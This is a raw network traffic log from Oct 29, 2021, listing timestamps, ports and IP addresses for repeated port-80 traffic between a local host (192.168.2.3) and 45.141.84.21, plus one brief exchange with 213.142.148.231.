Oct 29, 2021 14:11:11.532944918 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.532983065 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533019066 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533056974 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533094883 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533133030 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533171892 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533207893 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533245087 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533282995 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533318996 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533358097 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533396959 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533435106 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.533473015 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.536792040 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.545973063 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.546022892 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.546030998 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.576946974 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.578216076 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:11.584870100 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.593369961 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:11.604290009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.604343891 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.604383945 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.604424953 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.605165958 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.619539976 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619606018 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619647026 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619684935 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619720936 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619759083 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619798899 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619836092 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619874954 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619913101 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619949102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.619986057 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.620023966 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.620063066 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.624231100 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.624306917 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.628503084 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628559113 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628602028 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628640890 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628679991 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628719091 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628756046 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628794909 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628832102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628901005 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628942013 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.628982067 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629019022 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629056931 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629095078 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629131079 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629169941 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629208088 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629245996 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629285097 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629322052 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629359961 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629398108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629435062 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629472971 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629511118 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629549980 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629589081 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629632950 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629671097 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629709959 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629745007 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629782915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629820108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629858017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629897118 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629931927 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.629970074 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630007982 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630043983 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630080938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630119085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630156040 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630194902 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630232096 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630270004 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630307913 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630343914 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630382061 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630419016 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630456924 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630495071 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630532026 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630569935 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.630608082 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.631711960 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.634880066 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.634938002 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.635004997 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.635078907 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.635162115 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.635234118 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.686678886 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.686738014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.687863111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.687928915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.687968016 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.688008070 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.697520971 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.706976891 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707025051 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707062960 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707101107 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707139969 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707178116 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707218885 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707232952 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.707258940 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707267046 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.707274914 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.707298040 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707336903 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707353115 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.707377911 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707417965 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707432985 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.707458973 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707496881 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.707499027 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.707577944 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.717549086 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.717606068 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.717655897 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.717698097 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.717751980 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.717782021 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.717818975 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.717859030 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.717899084 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.717935085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.717972994 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718010902 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718048096 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718086004 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718122005 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718159914 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718199968 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718226910 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718266010 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718303919 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718339920 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718378067 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718415022 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718452930 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718492031 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718528032 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718566895 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718604088 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718641996 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718679905 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718718052 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718756914 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718796015 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718831062 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718869925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718908072 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718945026 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.718981981 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719019890 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719058990 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719096899 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719132900 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719171047 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719208956 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719244003 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719281912 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719319105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719357014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719396114 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719432116 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719469070 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719506979 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719542980 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719580889 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.719645023 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.729813099 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.742012024 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.742060900 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.744018078 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.744051933 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.744059086 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.744062901 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.744108915 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.744170904 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.780117035 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.780174017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.780216932 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.780999899 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.789870024 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.789927006 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.789968967 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790005922 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790044069 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790082932 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790123940 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790159941 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790199041 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790239096 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790277958 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790316105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790353060 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790391922 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.790432930 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.796365023 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.796525002 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.796574116 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.796642065 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.797401905 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.812562943 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.812642097 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.812685013 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.812725067 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.812762976 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.812800884 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.812839985 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.812911987 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.812949896 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.812987089 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813024998 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813061953 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813101053 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813137054 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813174963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813200951 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813236952 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813273907 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813312054 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813349009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813388109 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813425064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813462019 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813499928 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813536882 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813575029 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813612938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813653946 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813694000 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813730001 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813767910 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813806057 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813841105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813879013 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813915014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813952923 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.813991070 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814027071 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814064026 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814101934 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814136982 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814174891 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814209938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814246893 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814285994 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814321041 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814358950 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814395905 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814433098 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814470053 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814507008 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814513922 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.814547062 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814588070 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814626932 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814666986 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814706087 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814743042 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814780951 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814819098 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814857960 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814896107 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814932108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.814970016 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815007925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815043926 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815080881 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815118074 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815156937 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815195084 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815231085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815268040 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815304995 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815340996 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815377951 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815416098 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815454006 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815493107 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815527916 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815565109 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815602064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815661907 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815701008 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815731049 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815762043 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815799952 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.815835953 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.824636936 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.824687004 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.824697018 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.824702024 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.824707031 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.824724913 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.824760914 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.824789047 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.827204943 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827259064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827297926 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827337027 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827377081 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827414989 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827451944 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827492952 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827533007 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827569962 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827608109 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827647924 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827685118 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827723980 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827759981 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827797890 CEST	80	50088	45.141.84.21	192.168.2.3
